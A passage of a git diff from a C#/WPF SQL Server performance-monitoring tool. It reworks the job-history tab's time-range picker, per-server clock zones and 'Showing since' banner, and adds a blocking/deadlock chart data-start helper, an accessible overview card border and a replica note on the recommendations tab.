+        <Grid Grid.Row="2" Margin="10,0,10,10">
             <DataGrid x:Name="JobHistoryDataGrid"
                       AutoGenerateColumns="False"
                       IsReadOnly="True"
@@ -121,7 +125,7 @@
                         <DataGridTextColumn.Header>
                             <StackPanel Orientation="Horizontal">
                                 <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="RunTimeLocal" Click="FilterButton_Click" Margin="0,0,4,0"/>
-                                <TextBlock Text="Run Time" FontWeight="Bold" VerticalAlignment="Center"/>
+                                <TextBlock x:Name="RunTimeHeaderText" Text="Run Time" FontWeight="Bold" VerticalAlignment="Center"/>
                             </StackPanel>
                         </DataGridTextColumn.Header>
                     </DataGridTextColumn>
@@ -157,7 +161,7 @@
                             </StackPanel>
                         </DataGridTextColumn.Header>
                     </DataGridTextColumn>
-                    <DataGridTextColumn Binding="{Binding RunStatusDesc}" Width="90">
+                    <DataGridTextColumn Binding="{Binding RunStatusDesc}" Width="100">
                         <DataGridTextColumn.Header>
                             <StackPanel Orientation="Horizontal">
                                 <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="RunStatusDesc" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -165,7 +169,7 @@
                             </StackPanel>
                         </DataGridTextColumn.Header>
                     </DataGridTextColumn>
-                    <DataGridTextColumn Binding="{Binding DurationFormatted}" Width="90">
+                    <DataGridTextColumn Binding="{Binding DurationFormatted}" Width="105">
                         <DataGridTextColumn.Header>
                             <StackPanel Orientation="Horizontal">
                                 <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="DurationFormatted" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -173,7 +177,7 @@
                             </StackPanel>
                         </DataGridTextColumn.Header>
                     </DataGridTextColumn>
-                    <DataGridTextColumn Binding="{Binding RetriesDisplay}" Width="65">
+                    <DataGridTextColumn Binding="{Binding RetriesDisplay}" Width="100">
                         <DataGridTextColumn.Header>
                             <StackPanel Orientation="Horizontal">
                                 <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="RetriesDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/>
diff --git a/Lite/Controls/JobHistoryTab.xaml.cs b/Lite/Controls/JobHistoryTab.xaml.cs
index d5a46254f3..9d8c91dabb 100644
--- a/Lite/Controls/JobHistoryTab.xaml.cs
+++ b/Lite/Controls/JobHistoryTab.xaml.cs
@@ -13,6 +13,7 @@
 using System.Windows.Controls;
 using System.Windows.Controls.Primitives;
 using System.Windows.Threading;
+using PerformanceMonitor.Analysis.Baselines;
 using PerformanceMonitorLite.Helpers;
 using PerformanceMonitorLite.Services;
 using PerformanceMonitor.Ui;
@@ -23,7 +24,7 @@ namespace PerformanceMonitorLite.Controls;
 /// <summary>
 /// Fleet-wide retained SQL Agent job-run history (issue #1433) — a structural sibling of
 /// <see cref="AlertsHistoryTab"/> reading <c>v_job_history</c> via
-/// <see cref="LocalDataService.GetJobHistoryAsync"/>. Time-range + Server + Status + Category filters,
+/// <see cref="LocalDataService.GetJobHistoryAsync(DateTime, int, int?, IReadOnlyDictionary{int, ServerClock}?)"/>. Time-range + Server + Status + Category filters,
 /// per-column filter popups, failure / long-runtime / retry row color-coding, and CSV export. Job history
 /// is a durable record, so there is no dismiss/mute surface (unlike alerts).
 /// </summary>
@@ -31,6 +32,7 @@ public partial class JobHistoryTab : UserControl
 {
     private LocalDataService? _dataService;
     private Func<IReadOnlyDictionary<int, string>>? _displayNames;
+    private Func<IReadOnlyDictionary<int, ServerClock>>? _openTabClocks;
     private DataGridFilterManager<JobHistoryRow>? _filterManager;
     private readonly ScopedLoadGenerations _loads = new();
     private Popup? _filterPopup;
@@ -41,6 +43,13 @@ public partial class JobHistoryTab : UserControl
     public JobHistoryTab()
     {
         InitializeComponent();
+        RangePicker.Value = TimeRangePresets.FromLegacyHours(24)!; /* 24 hours, as the list opened; '1mo' is the old 30 days, '90d' can be typed */
+        /* R8: the old "Last Year" (365 days). The parser has no year unit, so "1y" cannot be typed; this choice is the way to a year. */
+        RangePicker.SetLongestChoice(LiteTimeRange.JobHistoryLongestChoice, "Last Year");
+        /* #5562 M1: typed times and calendar periods are read in the zone the grid words its rows in (see PickerZone). */
+        RangePicker.ZoneProvider = PickerZone;
+        /* #5565: a cross-server list has one fixed filter scope, so its filters survive a restart. */
+        ColumnFilterScope.SetServer(this, ColumnFilterScope.AllServers);
         _staleDataTimer = new DispatcherTimer { Interval = TimeSpan.FromSeconds(10) };
         _staleDataTimer.Tick += StaleDataTimer_Tick;
     }
@@ -51,11 +60,17 @@ public JobHistoryTab()
     /// concept lives on <c>ServerConnection</c>, not in DuckDB (the stored <c>servers.display_name</c>
     /// column is unpopulated), so the shell supplies the mapping the same way the Overview tab passes
     /// <c>DisplayNameWithIntent</c> into <c>GetServerSummaryAsync</c>.
+    /// <para><paramref name="openTabClocks"/> (#4966) snapshots the clock of every open server tab by server id, the second place
+    /// a server's clock comes from after its own collected one, as <see cref="AlertsHistoryTab"/>'s open-tab lookup does. It is
+    /// called on the UI thread, at the start of each load, because the open tabs are UI objects, and the read gets the snapshot.</para>
     /// </summary>
-    public void Initialize(LocalDataService dataService, Func<IReadOnlyDictionary<int, string>>? displayNames = null)
+    public void Initialize(
+        LocalDataService dataService, Func<IReadOnlyDictionary<int, string>>? displayNames = null,
+        Func<IReadOnlyDictionary<int, ServerClock>>? openTabClocks = null)
     {
         _dataService = dataService;
         _displayNames = displayNames;
+        _openTabClocks = openTabClocks;
         _filterManager = new DataGridFilterManager<JobHistoryRow>(JobHistoryDataGrid);
         _staleDataTimer.Start();
     }
@@ -67,8 +82,45 @@ public async void RefreshJobs()
     }
 
     /// <summary>The read's row cap (#4478) — the 2,000 <see cref="LoadJobsAsync"/> passes to
-    /// <see cref="LocalDataService.GetJobHistoryAsync"/>.</summary>
-    private const int RowCap = 2000;
+    /// <see cref="LocalDataService.GetJobHistoryAsync(DateTime, int, int?, IReadOnlyDictionary{int, ServerClock}?)"/>. The
+    /// "Showing since" note names the oldest run of a page this full (#4966).</summary>
+    internal const int RowCap = 2000;
+
+    /// <summary>The clocks the last read worked each server's window on (<see cref="LocalDataService.GetJobHistoryWithClocksAsync"/>), kept so the picker can word a single server's range in the same clock.</summary>
+    private readonly Dictionary<int, ServerClock> _readClocks = new();
+
+    /// <summary>
+    /// The zone the picker reads typed times and calendar periods in (#5562 M1): the zone the grid words its rows in. For one
+    /// server that is its wall clock (the clock its last read used, else its open tab's, else this machine's, the chain
+    /// <see cref="ServerTimeHelper.ClockForServer(ServerClock?, ServerClock?)"/> follows); for All Servers it is UTC, since the rows
+    /// sit on different servers' clocks (<see cref="ShowDataStartNoteAsync"/>).
+    /// </summary>
+    internal static TimeZoneInfo JobHistoryZone(int? serverId, IReadOnlyDictionary<int, ServerClock>? readClocks, IReadOnlyDictionary<int, ServerClock>? openTabClocks)
+    {
+        if (serverId is not int one)
+        {
+            return TimeZoneInfo.Utc;
+        }
+
+        if (readClocks is not null && readClocks.TryGetValue(one, out var read))
+        {
+            return read.AsTimeZone();
+        }
+
+        if (openTabClocks is not null && openTabClocks.TryGetValue(one, out var tab))
+        {
+            return tab.AsTimeZone();
+        }
+
+        return TimeZoneInfo.Local;
+    }
+
+    private TimeZoneInfo PickerZone()
+    {
+        /* The open tabs' clocks are only asked for when the last read has none for this server (they are UI objects). */
+        var serverId = GetSelectedServerId();
+        return JobHistoryZone(serverId, _readClocks, serverId is int id && !_readClocks.ContainsKey(id) ? _openTabClocks?.Invoke() : null);
+    }
 
     private async System.Threading.Tasks.Task LoadJobsAsync()
     {
@@ -83,12 +135,23 @@ starting of two overlapping reads can land first. Same idiom as FinOpsTab's. */
 
         try
         {
-            var hoursBack = GetSelectedHoursBack();
             int? serverId = GetSelectedServerId();
 
-            var all = await System.Threading.Tasks.Task.Run(() => _dataService.GetJobHistoryAsync(hoursBack, RowCap, serverId));
+            /* #4966: the window's start is worked out ONCE, and the read and the data-start probe both take that instant: the note is
+               worded against the window the rows were read over. The open tabs' clocks are taken here, on the UI thread (they are
+               UI objects), and the read gets them as a plain snapshot. */
+            var nowUtc = DateTime.UtcNow;
+            var (startUtc, rangeEndUtc) = LiteTimeRange.BoundsOf(RangePicker, 24, nowUtc);
+            var openTabClocks = _openTabClocks?.Invoke();
+
+            var (all, readClocks) = await System.Threading.Tasks.Task.Run(() => _dataService.GetJobHistoryWithClocksAsync(startUtc, RowCap, serverId, openTabClocks, rangeEndUtc));
             if (_loads.Superseded(nameof(LoadJobsAsync), gen)) return;
 
+            foreach (var (id, readClock) in readClocks)
+            {
+                _readClocks[id] = readClock;
+            }
+
             /* #2126: rows carry the raw collected server name; swap in the operator's alias where the
                config layer knows one, so the Server column and filter speak the same names as every
                other tab. A server no longer in config keeps its raw name (the durable-record case). */
@@ -125,15 +188,13 @@ other tab. A server no longer in config keeps its raw name (the durable-record c
 
             var displayCount = JobHistoryDataGrid.ItemsSource is ICollection<JobHistoryRow> coll ? coll.Count : filtered.Count;
             NoJobsMessage.Visibility = displayCount == 0 ? Visibility.Visible : Visibility.Collapsed;
+            RunTimeHeaderText.Text = TimeColumnTitle.For("Run Time", ServerTimeHelper.CurrentDisplayMode); // D5: the column names its clock
 
             /* The cap applies to the UNFILTERED read (all.Count), not the client-side-filtered display count:
                a Status/Category filter narrowing the grid must not make the "newest 2,000" label disappear when
                the underlying read still hit the cap. */
-            var capLabel = JobHistoryCap.Label(all.Count, RowCap);
-            JobCountIndicator.Text = displayCount == 0
-                ? ""
-                : capLabel.Length > 0 ? $"{displayCount} run(s) ({capLabel})" : $"{displayCount} run(s)";
-            AppLogger.Debug("JobHistory", $"Loaded {displayCount} job run(s) (query returned {all.Count}, hoursBack={hoursBack}, serverId={serverId?.ToString() ?? "all"})");
+            JobCountIndicator.Text = JobHistoryCap.CountText(displayCount, all.Count, RowCap);
+            AppLogger.Debug("JobHistory", $"Loaded {displayCount} job run(s) (query returned {all.Count}, since={startUtc:O}, until={(rangeEndUtc.HasValue ? rangeEndUtc.Value.ToString("O") : "now")}, serverId={serverId?.ToString() ?? "all"})");
 
             _lastRefreshed = DateTime.UtcNow;
             UpdateStaleDataIndicator();
@@ -142,6 +203,11 @@ the underlying read still hit the cap. */
             if (_loads.Superseded(nameof(LoadJobsAsync), gen)) return;
 
             LoadingMessage.Visibility = Visibility.Collapsed;
+
+            /* #4966: the rows are bound and the loading note is down; the note comes last, from the UNFILTERED read (all): the Status
+               and Category filters narrow the grid on the client and say nothing about where the data starts. A probe that fails
+               costs the note and never the grid. */
+            await ShowDataStartNoteAsync(serverId, readClocks, startUtc, rangeEndUtc ?? nowUtc, all, gen);
         }
         catch (Exception ex)
         {
@@ -152,6 +218,88 @@ the underlying read still hit the cap. */
         }
     }
 
+    /// <summary>
+    /// The "Showing since" note of the grid (#4966), worked out for one load: the frame it is worded in,
+    /// then the step below. For one server the note is worded on that server's wall clock, the clock the read windowed on (the
+    /// server's collected clock, else its open tab's, else the machine's, <see cref="LocalDataService.ReadJobHistoryClockAsync"/>, handed back by the read),
+    /// which is the clock the Run Time column prints in. For the All Servers view the rows sit on different servers' clocks, so
+    /// the note is worded in UTC and says so; the probe reads the All Servers set itself
+    /// (<see cref="LocalDataService.GetJobHistoryDataStartAsync"/> takes the earliest coverage among the servers with a run or a logged collector run in the window and bounds its own work).
+    /// A load that a newer one has superseded writes nothing.
+    /// </summary>
+    private async System.Threading.Tasks.Task ShowDataStartNoteAsync(
+        int? serverId, IReadOnlyDictionary<int, ServerClock> readClocks, DateTime startUtc, DateTime endUtc,
+        IReadOnlyCollection<JobHistoryRow> read, int gen)
+    {
+        if (_dataService == null) return;
+        var service = _dataService;
+
+        /* One clock read: for one server the note is worded on the clock the read windowed on, handed back by the read. */
+        var zone = serverId is int one && readClocks.TryGetValue(one, out var clock) ? clock.AsTimeZone() : TimeZoneInfo.Utc;
+
+        if (_loads.Superseded(nameof(LoadJobsAsync), gen)) return;
+
+        await ShowJobHistoryDataStartAsync(
+            JobHistoryWindowTruncatedBanner,
+            () => System.Threading.Tasks.Task.Run(() => service.GetJobHistoryDataStartAsync(serverId, startUtc, endUtc)),
+            startUtc, endUtc, read, zone, inUtc: serverId is null,
+            superseded: () => _loads.Superseded(nameof(LoadJobsAsync), gen),
+            onFloor: floor => RangePicker.DataStartUtc = LiteTimeRange.DataStartFor(floor, DateTime.UtcNow));
+    }
+
+    /// <summary>
+    /// The "Showing since" banner of the grid (#4966), through the steps the server tab's grids share. Job history is an event
+    /// surface: the read windows on the run's own time, and a server's first collection copies the history msdb already holds, so a
+    /// run can sit long before the coverage the probe found. Below its cap the note names the earlier of the coverage start and the
+    /// earliest run in <paramref name="read"/> (<see cref="ServerTab.EarlierOfFloorAndRowShown"/>). The read lists the newest
+    /// <see cref="RowCap"/> runs, so a full page names its oldest run whatever the store covers, with no slack and no probe
+    /// (<see cref="ServerTab.CappedGridBannerAsync{T}"/>). A window of 90 minutes or less makes no probe call, and a probe that
+    /// throws shows no note (<see cref="ServerTab.ProbeWindowFloorOrNullAsync"/>). <paramref name="read"/> is the read's own result,
+    /// before the Status and Category filters. The time is worded to the second in <paramref name="zone"/>; with
+    /// <paramref name="inUtc"/> (the All Servers view, whose rows sit on different servers' clocks) the text ends in "UTC". The cap
+    /// label beside the count (<see cref="JobHistoryCap"/>) stays: it says how many runs the page is cut to, and this note says the
+    /// time that page reaches back to. A step of its own so the tests run the tab's banner call without building the control.
+    /// </summary>
+    /// <param name="banner">The grid's banner.</param>
+    /// <param name="probe">The data-start probe, called at most once and not at all for a window of 90 minutes or less or a full page.</param>
+    /// <param name="startUtc">The window's start: the one the read and the probe took.</param>
+    /// <param name="endUtc">The window's end.</param>
+    /// <param name="read">The runs the read returned.</param>
+    /// <param name="zone">The zone the time is worded in.</param>
+    /// <param name="inUtc">Whether the text names UTC.</param>
+    /// <param name="superseded">True when a newer load has started: checked after the probe answers and before the banner is written.</param>
+    internal static System.Threading.Tasks.Task ShowJobHistoryDataStartAsync(
+        TextBlock banner, Func<System.Threading.Tasks.Task<DateTime?>> probe, DateTime startUtc, DateTime endUtc,
+        IReadOnlyCollection<JobHistoryRow> read, TimeZoneInfo zone, bool inUtc, Func<bool>? superseded = null,
+        Action<DateTime?>? onFloor = null)
+    {
+        var runTimes = read.Where(r => r.RunDateTimeUtc.HasValue).Select(r => r.RunDateTimeUtc!.Value).ToList();
+
+        void Word()
+        {
+            if (inUtc && banner.Visibility == Visibility.Visible)
+            {
+                banner.Text += " UTC";
+            }
+        }
+
+        return ServerTab.CappedGridBannerAsync(runTimes, RowCap, t => t,
+            oldestRowShown =>
+            {
+                ServerTab.ApplyCappedWindowFloorToBanner(banner, oldestRowShown, startUtc, zone);
+                Word();
+            },
+            async () =>
+            {
+                var floor = await ServerTab.ProbeWindowFloorOrNullAsync(probe, "Job History", startUtc, endUtc);
+                if (superseded?.Invoke() == true) return;
+
+                ServerTab.ApplyWindowFloorToBanner(banner, ServerTab.EarlierOfFloorAndRowShown(floor, ServerTab.EarliestRowShown(runTimes, t => t)), startUtc, zone);
+                onFloor?.Invoke(floor); /* #5562 R7: the picker's data-start note takes the floor this probe found */
+                Word();
+            });
+    }
+
     /// <summary>
     /// Populates the header Agent indicator (issue #1433 Phase 2). With a server selected it shows that
     /// server's Agent status + next scheduled run; across all servers it shows a running/stopped roll-up.
@@ -317,13 +465,6 @@ private void PopulateCategoryFilter(List<JobHistoryRow> rows)
         CategoryFilterComboBox.SelectionChanged += Filter_SelectionChanged;
     }
 
-    private int GetSelectedHoursBack()
-    {
-        if (TimeRangeComboBox.SelectedItem is ComboBoxItem item && item.Tag is string tagStr)
-            return int.TryParse(tagStr, out var hours) ? hours : 24;
-        return 24;
-    }
-
     private int? GetSelectedServerId()
     {
         if (ServerFilterComboBox.SelectedIndex > 0 &&
@@ -445,6 +586,12 @@ private async void Filter_SelectionChanged(object sender, SelectionChangedEventA
             await LoadJobsAsync();
     }
 
+    private async void RangePicker_RangeChanged(object? sender, TimeRangeChangedEventArgs e)
+    {
+        if (IsLoaded)
+            await LoadJobsAsync();
+    }
+
     private async void RefreshButton_Click(object sender, RoutedEventArgs e)
     {
         await LoadJobsAsync();
diff --git a/Lite/Controls/LiteBlockingLaneDataStart.cs b/Lite/Controls/LiteBlockingLaneDataStart.cs
new file mode 100644
index 0000000000..ff81a142d8
--- /dev/null
+++ b/Lite/Controls/LiteBlockingLaneDataStart.cs
@@ -0,0 +1,192 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading.Tasks;
+using System.Windows.Controls;
+using PerformanceMonitorLite.Mcp;
+using PerformanceMonitorLite.Services;
+
+namespace PerformanceMonitorLite.Controls;
+
+/// <summary>
+/// Where the Overview's blocking chart says its data starts (#4966). The chart draws two event-count series, blocking and
+/// deadlocks, so an empty stretch before a series starts reads as "nothing happened". Each series starts at the EARLIER of its
+/// coverage floor and its earliest bar drawn (a zero bucket is not a bar); the chart has one note, and it names the LATER of
+/// the two starts so it is true of both series. A series with no start (no floor, no bar, or a probe that failed with no bar)
+/// is left out; when neither has one the chart shows no note. The Darling viewer's twin is <c>ViewerBlockingLaneDataStart</c>.
+/// <para>Two rules: a probe that FAILED gives its series no start, whatever its bars (a failure is not evidence of a late start, so
+/// the other series answers alone); a probe that ANSWERED null (no collector run in the window) with bars drawn names the first
+/// bar, as the viewer does (<c>ViewerEventDataStart.Of</c>). Lite's own Blocking tab differs: it keeps the null there
+/// (<c>EarlierOfFloorAndRowShown</c>).</para>
+/// </summary>
+internal static class LiteBlockingLaneDataStart
+{
+    /// <summary>#5098: the blocked process threshold's history over the window (the viewer's tuple, named so a seam can carry it).</summary>
+    internal readonly record struct BlockedProcessThreshold(bool OnAtWindowStart, DateTime? FirstOnInWindow, bool SawZeroSnapshot)
+    {
+        internal (bool OnAtWindowStart, DateTime? FirstOnInWindow, bool SawZeroSnapshot) AsTuple() => (OnAtWindowStart, FirstOnInWindow, SawZeroSnapshot);
+    }
+
+    /// <summary>
+    /// The instant the chart's note names, or null when it names nothing. A probe that throws costs its series' start and
+    /// nothing else: it is logged and the other series answers alone.
+    /// </summary>
+    internal static async Task<DateTime?> ChooseAsync(
+        Task<DateTime?> blockingProbe, Task<DateTime?> deadlockProbe,
+        IEnumerable<TrendPoint> blockingBars, IEnumerable<TrendPoint> deadlockBars)
+    {
+        ArgumentNullException.ThrowIfNull(blockingProbe);
+        ArgumentNullException.ThrowIfNull(deadlockProbe);
+        ArgumentNullException.ThrowIfNull(blockingBars);
+        ArgumentNullException.ThrowIfNull(deadlockBars);
+
+        var blocking = await AnswerAsync(blockingProbe, "blocking");
+        var deadlock = await AnswerAsync(deadlockProbe, "deadlocks");
+
+        return Later(
+            blocking.Failed ? null : SeriesStart(blocking.Floor, blockingBars),
+            deadlock.Failed ? null : SeriesStart(deadlock.Floor, deadlockBars));
+    }
+
+    /// <summary>
+    /// The note step: chooses the start the note names, then words the banner in <paramref name="zone"/>
+    /// (<see cref="ServerTab.ApplyWindowFloorToBanner"/>). The banner is touched on the caller's thread only, after the start is chosen.
+    /// </summary>
+    internal static async Task ShowAsync(
+        TextBlock banner, Func<QueryWindowRelation, Task<DateTime?>> floorOf, DateTime startUtc, DateTime endUtc,
+        IEnumerable<TrendPoint> blockingBars, IEnumerable<TrendPoint> deadlockBars, TimeZoneInfo zone,
+        Func<Task<bool>>? blockingReadTookXe = null, Func<Task<DateTime?>>? xeOnlyBlockingFloorOf = null,
+        Func<Task<DateTime?>>? earliestReportOf = null, Func<Task<BlockedProcessThreshold>>? thresholdOf = null,
+        Action<DateTime?>? onStartChosen = null)
+    {
+        var start = await StartAsync(floorOf, startUtc, endUtc, blockingBars, deadlockBars, blockingReadTookXe, xeOnlyBlockingFloorOf, earliestReportOf, thresholdOf);
+        ServerTab.ApplyWindowFloorToBanner(banner, start, startUtc, zone);
+        onStartChosen?.Invoke(start); /* #5562 R7: the picker's data-start note takes the start this banner chose */
+    }
+
+    /// <summary>
+    /// Probes BOTH relations over the window the chart's reads took (a window of 90 minutes or less starts no probe, and a probe
+    /// that throws costs only its series' start) and chooses the start. <paramref name="floorOf"/> is
+    /// <c>LocalDataService.GetQueryWindowFloorAsync</c> for the relation. Touches no WPF object, so the live-store tests drive it.
+    /// </summary>
+    internal static async Task<DateTime?> StartAsync(
+        Func<QueryWindowRelation, Task<DateTime?>> floorOf, DateTime startUtc, DateTime endUtc,
+        IEnumerable<TrendPoint> blockingBars, IEnumerable<TrendPoint> deadlockBars,
+        Func<Task<bool>>? blockingReadTookXe = null, Func<Task<DateTime?>>? xeOnlyBlockingFloorOf = null,
+        Func<Task<DateTime?>>? earliestReportOf = null, Func<Task<BlockedProcessThreshold>>? thresholdOf = null)
+    {
+        if (!McpQueryTools.CanWindowBeTruncated(startUtc, endUtc))
+        {
+            return null;
+        }
+
+        /* The shared floor-or-null wrapper is not used here: it turns a throw into null, and null here would read as "no collector run". */
+        var blockingProbe = ProbeBlockingAsync(floorOf, blockingReadTookXe, xeOnlyBlockingFloorOf, earliestReportOf, thresholdOf);
+        var deadlockProbe = Probe(floorOf, QueryWindowRelation.Deadlocks);
+
+        return await ChooseAsync(blockingProbe, deadlockProbe, blockingBars, deadlockBars);
+    }
+
+    /// <summary>One series' start: the earlier of its floor and its earliest bar with a count above zero; whichever exists; null when neither.</summary>
+    internal static DateTime? SeriesStart(DateTime? floor, IEnumerable<TrendPoint> bars)
+    {
+        DateTime? firstBar = null;
+        foreach (var bar in bars)
+        {
+            if (bar.Count > 0 && (firstBar is null || bar.Time < firstBar.Value))
+            {
+                firstBar = bar.Time;
+            }
+        }
+
+        return floor is DateTime f && firstBar is DateTime b ? (b < f ? b : f) : floor ?? firstBar;
+    }
+
+    /// <summary>The later of two series' starts; the one that answered when only one did; null when neither did.</summary>
+    internal static DateTime? Later(DateTime? blocking, DateTime? deadlock) =>
+        blocking.HasValue && deadlock.HasValue ? (blocking.Value >= deadlock.Value ? blocking : deadlock) : blocking ?? deadlock;
+
+    /// <summary>
+    /// #5098: when the blocking read drew the XE reports (<paramref name="blockingReadTookXe"/> true), the start is the XE collector's
+    /// alone (<paramref name="xeOnlyBlockingFloorOf"/>): a DMV that covers the window must not hide where the XE data starts. A check that
+    /// throws falls back to the two-source probe (today's); a throw from the threshold read falls back to #5159's answer; a throw from the
+    /// probe itself fails the series as before.
+    /// </summary>
+    private static async Task<DateTime?> ProbeBlockingAsync(
+        Func<QueryWindowRelation, Task<DateTime?>> floorOf, Func<Task<bool>>? blockingReadTookXe, Func<Task<DateTime?>>? xeOnlyBlockingFloorOf,
+        Func<Task<DateTime?>>? earliestReportOf, Func<Task<BlockedProcessThreshold>>? thresholdOf)
+    {
+        var fromXe = false;
+        if (blockingReadTookXe is not null && xeOnlyBlockingFloorOf is not null)
+        {
+            try
+            {
+                fromXe = await blockingReadTookXe();
+            }
+            catch (Exception ex)
+            {
+                AppLogger.Warn("CorrelatedLanes", $"Overview blocking chart: the blocked-process-report source check failed, so the note probes both sources: {ex.Message}");
+            }
+        }
+
+        if (fromXe && earliestReportOf is not null && thresholdOf is not null)
+        {
+            /* #5098: the XE start is the collector's floor, the earliest report and the threshold's history, combined by the shared rule. */
+            return await LocalDataService.CombineBlockingXeStartAsync(
+                xeOnlyBlockingFloorOf!, earliestReportOf, () => ThresholdOrNoneAsync(thresholdOf));
+        }
+
+        return await (fromXe ? xeOnlyBlockingFloorOf!() : floorOf(QueryWindowRelation.BlockedProcessReports));
+    }
+
+    /// <summary>
+    /// The threshold's history, or "no snapshots" when the read throws: the shared rule then returns the XE-only floor combined with the
+    /// earliest report (#5159's answer), so a failed threshold read costs only the threshold's refinement, not the whole blocking series.
+    /// </summary>
+    internal static async Task<(bool OnAtWindowStart, DateTime? FirstOnInWindow, bool SawZeroSnapshot)> ThresholdOrNoneAsync(
+        Func<Task<BlockedProcessThreshold>> thresholdOf)
+    {
+        try
+        {
+            return (await thresholdOf()).AsTuple();
+        }
+        catch (Exception ex)
+        {
+            AppLogger.Warn("CorrelatedLanes", $"Overview blocking chart: the blocked process threshold read failed, so the note keeps the collector's start: {ex.Message}");
+            return default;
+        }
+    }
+
+    private static Task<DateTime?> Probe(Func<QueryWindowRelation, Task<DateTime?>> floorOf, QueryWindowRelation relation)
+    {
+        try
+        {
+            return floorOf(relation);
+        }
+        catch (Exception ex)
+        {
+            return Task.FromException<DateTime?>(ex);
+        }
+    }
+
+    private static async Task<(bool Failed, DateTime? Floor)> AnswerAsync(Task<DateTime?> probe, string series)
+    {
+        try
+        {
+            return (false, await probe);
+        }
+        catch (Exception ex)
+        {
+            AppLogger.Warn("CorrelatedLanes", $"Overview blocking chart ({series}): the data-start probe failed, so that series names no start: {ex.Message}");
+            return (true, null);
+        }
+    }
+}
diff --git a/Lite/Controls/OverviewCardBorder.cs b/Lite/Controls/OverviewCardBorder.cs
new file mode 100644
index 0000000000..17c386a484
--- /dev/null
+++ b/Lite/Controls/OverviewCardBorder.cs
@@ -0,0 +1,34 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.Windows.Automation.Peers;
+using System.Windows.Controls;
+
+namespace PerformanceMonitorLite.Controls;
+
+/// <summary>
+/// The Overview server card's outer border. A plain <see cref="Border"/> has no automation peer, so the
+/// <c>AutomationProperties.Name</c> set on the card (the server's display name) was never exposed: a screen reader or a UI
+/// test saw an unnamed group of text blocks. This border gives the card a peer (a named group) and nothing else: mouse
+/// handling, layout and rendering are the Border's own.
+/// </summary>
+public class OverviewCardBorder : Border
+{
+    protected override AutomationPeer OnCreateAutomationPeer() => new OverviewCardAutomationPeer(this);
+
+    private sealed class OverviewCardAutomationPeer : FrameworkElementAutomationPeer
+    {
+        public OverviewCardAutomationPeer(OverviewCardBorder owner) : base(owner)
+        {
+        }
+
+        protected override AutomationControlType GetAutomationControlTypeCore() => AutomationControlType.Group;
+
+        protected override string GetClassNameCore() => nameof(OverviewCardBorder);
+    }
+}
diff --git a/Lite/Controls/RecommendationsTab.xaml b/Lite/Controls/RecommendationsTab.xaml
index 69d62c3d7c..d9116b5b99 100644
--- a/Lite/Controls/RecommendationsTab.xaml
+++ b/Lite/Controls/RecommendationsTab.xaml
@@ -128,6 +128,7 @@
 
     <Grid>
         <Grid.RowDefinitions>
+            <RowDefinition Height="Auto"/>
             <RowDefinition Height="Auto"/>
             <RowDefinition Height="*"/>
         </Grid.RowDefinitions>
@@ -140,7 +141,15 @@
                 <TextBlock Text="Server:" VerticalAlignment="Center" Margin="0,0,6,0"
                            FontWeight="SemiBold" Foreground="{DynamicResource ForegroundBrush}"/>
                 <ComboBox x:Name="ServerSelector" Width="260" DisplayMemberPath="DisplayNameWithIntent"
-                          SelectionChanged="ServerSelector_SelectionChanged"/>
+                          AutomationProperties.Name="Server"
+                          SelectionChanged="ServerSelector_SelectionChanged">
+                    <!-- A screen reader announces each item (and the selection) by the server's name, not the model's type name. -->
+                    <ComboBox.ItemContainerStyle>
+                        <Style TargetType="ComboBoxItem" BasedOn="{StaticResource {x:Type ComboBoxItem}}">
+                            <Setter Property="AutomationProperties.Name" Value="{Binding DisplayNameWithIntent, Mode=OneTime}"/>
+                        </Style>
+                    </ComboBox.ItemContainerStyle>
+                </ComboBox>
                 <Button x:Name="RefreshButton" Content="Refresh" Padding="12,4"
                         Margin="12,0,0,0"
                         Click="RefreshButton_Click"
@@ -154,8 +163,14 @@
             </StackPanel>
         </Border>
 
+        <!-- #5558: this node holds a secondary copy of some databases in an availability group, so their
+             per-database findings are left to the primary. Shown only with a Loaded or Empty list. -->
+        <TextBlock x:Name="ReplicaNoteText" Grid.Row="1" Visibility="Collapsed" TextWrapping="Wrap"
+                   Margin="12,6,12,0" FontStyle="Italic"
+                   Foreground="{DynamicResource ForegroundMutedBrush}"/>
+
         <!-- Content area: exactly one region is visible per state. -->
-        <Grid Grid.Row="1">
+        <Grid Grid.Row="2">
             <!-- Loaded: scrollable, grouped, collapsible sections. -->
             <ScrollViewer x:Name="SectionsScroll" VerticalScrollBarVisibility="Auto"
                           Padding="10" Visibility="Collapsed">
diff --git a/Lite/Controls/RecommendationsTab.xaml.cs b/Lite/Controls/RecommendationsTab.xaml.cs
index 68f0e813d0..e4d3d2a959 100644
--- a/Lite/Controls/RecommendationsTab.xaml.cs
+++ b/Lite/Controls/RecommendationsTab.xaml.cs
@@ -209,7 +209,8 @@ A server with no collected clock yet keeps the offset its OWN server tab shows (
                    selected tab's), and with no tab open the machine's, not UTC. */
                 var serverClock = await ReadCardClockAsync(_dataService, serverId, _openTabClock);
 
-                ApplyViewModel(LiteRecommendationsViewModel.FromItems(items, serverClock));
+                var replicaNote = await ReadReplicaNoteAsync(serverId);
+                ApplyViewModel(LiteRecommendationsViewModel.FromItems(items, serverClock).WithReplicaNote(replicaNote));
             }
             while (_reloadRequested);
         }
@@ -322,7 +323,8 @@ schedules is null
             /* #4766: the selected server's own clock, by the serverId the analysis ran for (see RefreshDataAsync). */
             var serverClock = await ReadCardClockAsync(_dataService, serverId, _openTabClock);
 
-            ApplyViewModel(LiteRecommendationsViewModel.FromItems(items, serverClock));
+            var replicaNote = await ReadReplicaNoteAsync(serverId);
+            ApplyViewModel(LiteRecommendationsViewModel.FromItems(items, serverClock).WithReplicaNote(replicaNote));
         }
         catch (Exception ex)
         {
